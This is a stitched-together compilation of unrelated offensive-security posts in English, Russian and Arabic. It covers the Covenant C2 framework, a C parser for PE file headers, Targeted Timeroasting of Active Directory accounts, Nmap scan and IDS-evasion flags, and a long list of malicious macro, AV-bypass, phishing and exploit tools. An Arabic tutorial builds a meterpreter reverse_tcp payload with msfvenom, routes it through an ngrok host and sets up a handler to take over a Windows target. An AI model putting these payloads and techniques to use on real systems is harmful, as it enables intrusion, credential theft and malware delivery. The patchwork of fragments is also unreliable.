All Security Engineering Courses

Covenant C2 is a .NET-based command and control (C2) framework designed for red team operations and post-exploitation tasks. Developed by Ryan Cobb, it aims to highlight vulnerabilities within .NET environments and facilitate the use of offensive .NET tradecraft. Here are some key aspects of Covenant C2: Cross-Platform Compatibility: Built with ASP.NET Core, Covenant can run on Windows, Linux, and macOS. It also supports Docker for containerized deployments​ github ​ github . Web-Based Interface: Covenant features a web-based interface that supports multi-user collaboration, allowing multiple team members to operate simultaneously and coordinate their efforts effectively​ github ​ snaplabs . Listeners and Grunts: Listeners: These handle incoming connections from compromised systems (referred to as Grunts). Listeners can be configured for HTTP, HTTPS, and other protocols​ snaplabs ​ unclesp1d3r.github . Grunts: These are the agents installed on target machines to execute commands and tasks as directed by the Covenant server. Grunts communicate back to the Covenant server via the listeners​ unclesp1d3r.github . Dynamic Compilation and Obfuscation: Covenant uses the Roslyn API for dynamic C# compilation, which allows for the creation of obfuscated and dynamically compiled payloads, reducing the likelihood of detection​ github . API and Extensibility: The framework is driven by an API, which facilitates customization and integration with other tools. It also includes a Swagger UI to simplify development and debugging​ github . Tasks and Modules: Covenant includes pre-built tasks and modules that can be executed by Grunt agents. These tasks cover a wide range of post-exploitation activities, such as credential dumping, lateral movement, and data exfiltration​ unclesp1d3r.github . For more detailed information on installation, configuration, and usage, you can visit the official GitHub repository​ github ​ github ​ snaplabs ​ unclesp1d3r.github .

Features Covered: File Parsing: Reads the file into memory. DOS Header Validation: Checks for MZ signature. Rich Header: Demonstrates placeholder for decoding. NT Headers: Validates PE signature and prints information. Section Headers: Iterates and prints section details. Next Steps: Implement full decoding for the Rich Header. Parse Import Data Directory and Base Relocation Table. Enhance error handling for edge cases (e.g., truncated files). Modularize the code for better readability and testing. Let me know if you'd like to delve deeper into specific parts!

// Entry point int main(int argc, char **argv) { if (argc != 2) { fprintf(stderr, "Usage: %s \n", argv[0]); return EXIT_FAILURE; } uint8_t *buffer = NULL; size_t size = read_file(argv[1], &buffer); if (!size) { return EXIT_FAILURE; } IMAGE_DOS_HEADER dos_header; if (!parse_dos_header(buffer, &dos_header)) { free(buffer); return EXIT_FAILURE; } parse_rich_header(buffer); if (!parse_nt_headers(buffer, &dos_header)) { free(buffer); return EXIT_FAILURE; } parse_section_headers(buffer, &dos_header); free(buffer); return EXIT_SUCCESS; }

#include <stdio.h> #include <stdlib.h> #include <string.h> #include <stdint.h> #include <windows.h> // Define constants for Rich Header parsing #define RICH_MAGIC 0x68636952 // "Rich" // Utility function to read data from file size_t read_file(const char *filename, uint8_t **buffer) { FILE *file = fopen(filename, "rb"); if (!file) { perror("Error opening file"); return 0; } fseek(file, 0, SEEK_END); size_t size = ftell(file); rewind(file); *buffer = malloc(size); if (!*buffer) { perror("Memory allocation failed"); fclose(file); return 0; } fread(*buffer, 1, size, file); fclose(file); return size; } // Parse and validate the DOS Header int parse_dos_header(const uint8_t *data, IMAGE_DOS_HEADER *dos_header) { memcpy(dos_header, data, sizeof(IMAGE_DOS_HEADER)); if (dos_header->e_magic != IMAGE_DOS_SIGNATURE) { fprintf(stderr, "Invalid DOS magic value: 0x%X\n", dos_header->e_magic); return 0; } printf("DOS Header:\n"); printf(" Magic: 0x%X\n", dos_header->e_magic); printf(" Address of new exe header: 0x%X\n", dos_header->e_lfanew); return 1; } // Parse and decode Rich Header (example, details depend on implementation) void parse_rich_header(const uint8_t *data) { printf("Rich Header:\n"); // Find the Rich signature and decode const uint32_t *ptr = (const uint32_t *)(data + 0x80); // Approx start, adjust as needed while (ptr[0] != RICH_MAGIC && ptr < (const uint32_t *)(data + 0x200)) { ptr++; } if (ptr[0] == RICH_MAGIC) { printf(" Rich Header found at offset 0x%X\n", (uint8_t *)ptr - data); // Decrypt and display entries (requires XOR key parsing) } else { printf(" Rich Header not found\n"); } } // Parse NT Headers int parse_nt_headers(const uint8_t *data, const IMAGE_DOS_HEADER *dos_header) { const IMAGE_NT_HEADERS *nt_headers = (const IMAGE_NT_HEADERS *)(data + dos_header->e_lfanew); if (nt_headers->Signature != IMAGE_NT_SIGNATURE) { fprintf(stderr, "Invalid PE signature: 0x%X\n", nt_headers->Signature); return 0; } printf("NT Headers:\n"); printf(" PE Signature: 0x%X\n", nt_headers->Signature); printf(" File Header:\n"); printf(" Machine: 0x%X\n", nt_headers->FileHeader.Machine); printf(" Number of Sections: %d\n", nt_headers->FileHeader.NumberOfSections); printf(" Size of Optional Header: %d\n", nt_headers->FileHeader.SizeOfOptionalHeader); const IMAGE_OPTIONAL_HEADER *opt_header = &nt_headers->OptionalHeader; printf(" Optional Header:\n"); printf(" Magic: 0x%X\n", opt_header->Magic); printf(" Address of Entry Point: 0x%X\n", opt_header->AddressOfEntryPoint); printf(" Image Base: 0x%llX\n", (uint64_t)opt_header->ImageBase); printf(" Section Alignment: 0x%X\n", opt_header->SectionAlignment); printf(" File Alignment: 0x%X\n", opt_header->FileAlignment); return 1; } // Parse Section Headers void parse_section_headers(const uint8_t *data, const IMAGE_DOS_HEADER *dos_header) { const IMAGE_NT_HEADERS *nt_headers = (const IMAGE_NT_HEADERS *)(data + dos_header->e_lfanew); const IMAGE_SECTION_HEADER *section_headers = (const IMAGE_SECTION_HEADER *)( (const uint8_t *)&nt_headers->OptionalHeader + nt_headers->FileHeader.SizeOfOptionalHeader); printf("Section Headers:\n"); for (int i = 0; i < nt_headers->FileHeader.NumberOfSections; i++) { printf(" Section %d: %s\n", i + 1, section_headers[i].Name); printf(" Virtual Address: 0x%X\n", section_headers[i].VirtualAddress); printf(" Virtual Size: 0x%X\n", section_headers[i].Misc.VirtualSize); printf(" Raw Data Pointer: 0x%X\n", section_headers[i].PointerToRawData); printf(" Raw Data Size: 0x%X\n", section_headers[i].SizeOfRawData); } }

Below is a skeleton implementation for a PE file parser in C that achieves the outlined functionality. Note that building such a parser requires an understanding of the Portable Executable (PE) format, structures defined in the Windows API, and binary file manipulation. For simplicity, this code will primarily focus on the parsing flow and use key PE structures from the Windows header files. Additional effort will be needed to handle error cases robustly.

Сегодня я увидел в нескольких каналах информацию про атаку Targeted Timeroasting и очень вдохновился ею. В двух словах, что такое атака Timeroasting - Это атака, позволяющая получить хеш пароля машинной учетной записи. В целом, мы знаем, что это для нас бесполезно, т.к. пароль машины чаще всего очень длинный и сложный. Но есть сценарии, когда пароль все таки бывает простой и, в совокупности с атакой pre2k, можно построить интересный вектор. Об этом в своем блоге недавно писал @snovvcrash. Суть атаки Targeted Timeroasting немного в другом: если у нас есть права GenericWrite на объект пользователя, то мы можем превратить этого пользователя в компьютер (что?) и запросить хеш для него. Превратить пользователя в компьютер можно двумя простыми шагами: 1. Меняем userAccountControl на 4096 (UF_WORKSTATION_TRUST_ACCOUNT) 2. Переименовываем sAMAccountName в тоже имя, но со знаком $ на конце После этих действий сервис времени будет уверен, что это теперь компьютер и отдаст вам хеш. Хорошо, как можно это использовать? 1 Сценарий. У нас есть права Domain Admins и не хочется шуметь с помощью атаки DcSync, тогда можно запустить Targeted Timeroasting на всех пользователей и вы получите хеши учеток, которые потом надо будет еще сбрутать. 2 Сценарий. Захватили учетку HelpDesk. Чаще всего у этой учетки есть права GenericWrite на половину домена. CA в домене нет, значит не провести атаку Shadow Creds. Проведя атаки Targeted Kerberoasting или Targeted AsReproasting мы получим билеты, которые нет возможности побрутить по большим словарям. А с помощью атаки Targeted Timeroasting мы, во-первых, не сильно нашумим на SIEM (не факт, конечно), а во-вторых, получим хеши, которые можно перебирать с чудовещной скоростью. Остальные сценарии придумайте сами :) Свежий ресерч про эту атаку вы можете прочитать в блоге. Брутить хеши на hashcat можно так:

git clone https://github.com/hashcat/hashcat && cd hashcat
git checkout 5236f3bd7 && make
./hashcat -m31300

Для атаки Targeted Timeroasting был разработан PowerShell скрипт. Но сегодня я переписал атаку на Python и выложил у себя в репозитории: https://github.com/PShlyundin/TimeSync Назвал инструмент TimeSync, потому что мне эта атака очень напомнила классический DcSync.

🛡 ما هي اداة Ngrok وكيف يتم إختبار إختراق نظام ويندوز بواسطتها 🧑‍💻.. هي أداة قوية في اختبار الاختراق وتحليل الشبكات، حيث تسمح لك بإنشاء tunnel (نفق) إلى جهازك المحلي، مما يتيح لك الوصول إلى خدمات وبروتوكولات تشغيلية على جهاز الكمبيوتر الخاص بك من خلال عنوان URL عندما تحتاج لإختبار الإختراق على نظام معين. ✅ كيفية استخدام ngrok مع Metasploit: سأوضح لك كيفية استخدام ngrok مع Metasploit payload لاختبار اختراق أنظمة ويندوز، على توزيعة Kali Linux: 1️⃣ تثبيت ngrok: يمكنك تحميل ngrok من موقعه الرسمي:

wget https://bin.equinox.io/c/111/ngrok-stable-linux-amd64.zip
unzip ngrok-stable-linux-amd64.zip
sudo mv ngrok /usr/local/bin

2️⃣ تشغيل ngrok: لتشغيل ngrok على منفذ معين (على سبيل المثال 8080):

ngrok http 8080

سوف تظهر لك ngrok عنوان URL عام (مثل http://abcd1234.ngrok.io) يمكنك استخدامه مع الـ payload. 3️⃣ إعداد Metasploit Payload: ✅ كيف يمكنك إنشاء payload: 🟢 افتح Metasploit عن طريق استخدام الأمر التالي في Terminal:

   msfconsole
   

✅ استخدم أداة msfvenom لإنشاء payload، لنفترض أنك تريد إنشاء ملف تنفيذي لحزمة ويندوز:

   msfvenom -p windows/meterpreter/reverse_tcp LHOST=abcd1234.ngrok.io LPORT=8080 -f exe -o payload.exe
   

✅تأكد من استبدال: abcd1234.ngrok.io بعنوان ngrok الخاص بك. 4️⃣ إعداد Metasploit Listener: بعد إنشاء الـ payload، قم بإعداد listener في Metasploit:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST abcd1234.ngrok.io
set LPORT 8080
exploit

5️⃣ تشغيل الـ Payload على نظام ويندوز المستهدف: قم بنقل ملف payload.exe إلى النظام المستهدف وقم بتشغيله، إذا تم كل شيء بشكل صحيح، يجب أن تتصل بك Meterpreter على Kali Linux. ⚠️ ملاحظة/ عليك الإمتثال لجميع القوانين والأخلاقيات المرتبطة بإختبار الاختراق.

🛡 ابدأوا الأن عبر منصة أكاديمية الدرع الأخضر: https://greenarmor.academy

💥 NMAP CHEAT SHEET #1 Nmap Basic Scanning nmap -sV [host] // Version Detection, default scan nmap -sS [host] // SYN Stealth Scan nmap -sU [host] // UDP Scan nmap -sT [host] // TCP Connect() Scan nmap -sN [host] // TCP Null Scan nmap -sF [host] // TCP FIN Scan #2 Nmap Host Discovery nmap -sL [host/network] // List Scan - Discover targets by querying DNS or the targets in a network nmap -sn [host/network] // Ping Scan - Determine if hosts are alive nmap -Pn [host/network] // Skip host discovery #3 Nmap Port Scanning nmap -sC [host] // Script Scan - Execute default nmap scripts nmap -p [ports] [host] // Scan specific ports nmap -F [host] // Fast Scan - Scan for the most commonly used ports #4 Nmap Advertising Scanning nmap -oA [filename] [host] // Output scan in all formats nmap -O [host] // Probe Operating System fingerprints nmap [host] --traceroute // Trace host hops #5 Nmap Version Detection nmap -sV [host] // Show versions of services and OS nmap -A [host] // Advanced Scan - OS and service version and script scanning nmap --script [name] [host] // Execute a custom script #6 Nmap Timing Options nmap -T[0-5] [host] // Timing for scans #7 Nmap Firewall/IDS Evasion nmap --spoof-mac [address] // Changes source MAC address nmap -D RND:10 [host] // Decoy Scan - Appear to scan from multiple hosts nmap -f // Fragmented Packets - Fragment Packets nmap -Pn [host] // Skip host discovery nmap --data-length [length] // Append random data to packet 💥Thank you 🙏 🥸 Give Reactions 🙌 Join our groups for more Hacking 👹Join Telegram Group:- https://t.me/SuBoXoneSoCiety 👿Join Whatsapp community group:https://whatsapp.com/channel/0029VaGX1X47T8bP63aZhb22

https://www.txtwizard.net/compression Compression Tool - GZIP, BZIP2, Deflate, LZMA

make-pdf-embedded a tool to create a PDF document with an embedded file. https://github.com/DidierStevens/DidierStevensSuite/blob/master/make-pdf-embedded.py

SocialEngineeringPayloads a collection of social engineering tricks and payloads being used for credential theft and spear phishing attacks. https://github.com/bhdresh/SocialEngineeringPayloads The Social-Engineer Toolkit is an open-source penetration testing framework designed for social engineering. https://github.com/trustedsec/social-engineer-toolkit Phishery is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication. https://github.com/ryhanson/phishery PowerShdll run PowerShell with rundll32. Bypass software restrictions. https://github.com/p3nt4/PowerShdll Ultimate AppLocker ByPass List The goal of this repository is to document the most common techniques to bypass AppLocker. https://github.com/api0cradle/UltimateAppLockerByPassList Ruler is a tool that allows you to interact with Exchange servers remotely, through either the MAPI/HTTP or RPC/HTTP protocol. https://github.com/sensepost/ruler Generate-Macro is a standalone PowerShell script that will generate a malicious Microsoft Office document with a specified payload and persistence method. https://github.com/enigma0x3/Generate-Macro Malicious Macro MSBuild Generator Generates Malicious Macro and Execute Powershell or Shellcode via MSBuild Application Whitelisting Bypass. https://github.com/infosecn1nja/MaliciousMacroMSBuild Meta Twin is designed as a file resource cloner. Metadata, including digital signature, is extracted from one file and injected into another. https://github.com/threatexpress/metatwin WePWNise generates architecture independent VBA code to be used in Office documents or templates and automates bypassing application control and exploit mitigation software. https://github.com/mwrlabs/wePWNise DotNetToJScript a tool to create a JScript file which loads a .NET v2 assembly from memory. https://github.com/tyranid/DotNetToJScript PSAmsi is a tool for auditing and defeating AMSI signatures. https://github.com/cobbr/PSAmsi Reflective DLL injection is a library injection technique in which the concept of reflective programming is employed to perform the loading of a library from memory into a host process. https://github.com/stephenfewer/ReflectiveDLLInjection ps1encode use to generate and encode a powershell based metasploit payloads. https://github.com/CroweCybersecurity/ps1encode Worse PDF turn a normal PDF file into malicious. Use to steal Net-NTLM Hashes from windows machines. https://github.com/3gstudent/Worse-PDF SpookFlare has a different perspective to bypass security measures and it gives you the opportunity to bypass the endpoint countermeasures at the client-side detection and network-side detection. https://github.com/hlldz/SpookFlare GreatSCT is an open source project to generate application white list bypasses. This tool is intended for BOTH red and blue team. https://github.com/GreatSCT/GreatSCT nps running powershell without powershell. https://github.com/Ben0xA/nps MeterpreterParanoidMode.sh allows users to secure your staged/stageless connection for Meterpreter by having it check the certificate of the handler it is connecting to. https://github.com/r00t-3xp10it/MeterpreterParanoidMode-SSL The Backdoor Factory (BDF) is to patch executable binaries with user desired shellcode and continue normal execution of the prepatched state. https://github.com/secretsquirrel/the-backdoor-factory MacroShop a collection of scripts to aid in delivering payloads via Office Macros. https://github.com/khr0x40sh/MacroShop UnmanagedPowerShell Executes PowerShell from an unmanaged process. https://github.com/leechristensen/UnmanagedPowerShell evil-ssdp Spoof SSDP replies to phish for NTLM hashes on a network. Creates a fake UPNP device, tricking users into visiting a malicious phishing page. https://gitlab.com/initstring/evil-ssdp Ebowla Framework for Making Environmental Keyed Payloads. https://github.com/Genetic-Malware/Ebowla

Composite Moniker Proof of Concept exploit for CVE-2017-8570. https://github.com/rxwx/CVE-2017-8570 Exploit toolkit CVE-2017-8759 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft .NET Framework RCE. https://github.com/bhdresh/CVE-2017-8759 CVE-2017-11882 Exploit accepts over 17k bytes long command/code in maximum. https://github.com/unamer/CVE-2017-11882 Adobe Flash Exploit CVE-2018-4878. https://github.com/anbai-inc/CVE-2018-4878 Exploit toolkit CVE-2017-0199 is a handy python script which provides pentesters and security researchers a quick and effective way to test Microsoft Office RCE. https://github.com/bhdresh/CVE-2017-0199 demiguise is a HTA encryption tool for RedTeams. https://github.com/nccgroup/demiguise Office-DDE-Payloads collection of scripts and templates to generate Office documents embedded with the DDE, macro-less command execution technique. https://github.com/0xdeadbeefJERKY/Office-DDE-Payloads CACTUSTORCH Payload Generation for Adversary Simulations. https://github.com/mdsecactivebreach/CACTUSTORCH SharpShooter is a payload creation framework for the retrieval and execution of arbitrary CSharp source code. https://github.com/mdsecactivebreach/SharpShooter Don't kill my cat is a tool that generates obfuscated shellcode that is stored inside of polyglot images. The image is 100% valid and also 100% valid shellcode. https://github.com/Mr-Un1k0d3r/DKMC Malicious Macro Generator Utility Simple utility design to generate obfuscated macro that also include a AV / Sandboxes escape mechanism. https://github.com/Mr-Un1k0d3r/MaliciousMacroGenerator SCT Obfuscator Cobalt Strike SCT payload obfuscator. https://github.com/Mr-Un1k0d3r/SCT-obfuscator Invoke-Obfuscation PowerShell Obfuscator. https://github.com/danielbohannon/Invoke-Obfuscation Invoke-DOSfuscation cmd.exe Command Obfuscation Generator & Detection Test Harness. https://github.com/danielbohannon/Invoke-DOSfuscation morphHTA Morphing Cobalt Strike's evil.HTA. https://github.com/vysec/morphHTA Unicorn is a simple tool for using a PowerShell downgrade attack and inject shellcode straight into memory. https://github.com/trustedsec/unicorn Shellter is a dynamic shellcode injection tool, and the first truly dynamic PE infector ever created. https://www.shellterproject.com/ EmbedInHTML Embed and hide any file in an HTML file. https://github.com/Arno0x/EmbedInHTML SigThief Stealing Signatures and Making One Invalid Signature at a Time. https://github.com/secretsquirrel/SigThief Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. https://github.com/Veil-Framework/Veil CheckPlease Sandbox evasion modules written in PowerShell, Python, Go, Ruby, C, C#, Perl, and Rust. https://github.com/Arvanaghi/CheckPlease Invoke-PSImage is a tool to embeded a PowerShell script in the pixels of a PNG file and generates a oneliner to execute. https://github.com/peewpw/Invoke-PSImage LuckyStrike a PowerShell based utility for the creation of malicious Office macro documents. To be used for pentesting or educational purposes only. https://github.com/curi0usJack/luckystrike ClickOnceGenerator Quick Malicious ClickOnceGenerator for Red Team. The default application a simple WebBrowser widget that point to a website of your choice. https://github.com/Mr-Un1k0d3r/ClickOnceGenerator macropack is a tool by @EmericNasi used to automatize obfuscation and generation of MS Office documents, VB scripts, and other formats for pentest, demo, and social engineering assessments. https://github.com/sevagas/macropack StarFighters a JavaScript and VBScript Based Empire Launcher. https://github.com/Cn33liz/StarFighters npspayload this script will generate payloads for basic intrusion detection avoidance. It utilizes publicly demonstrated techniques from several different sources. https://github.com/trustedsec/npspayload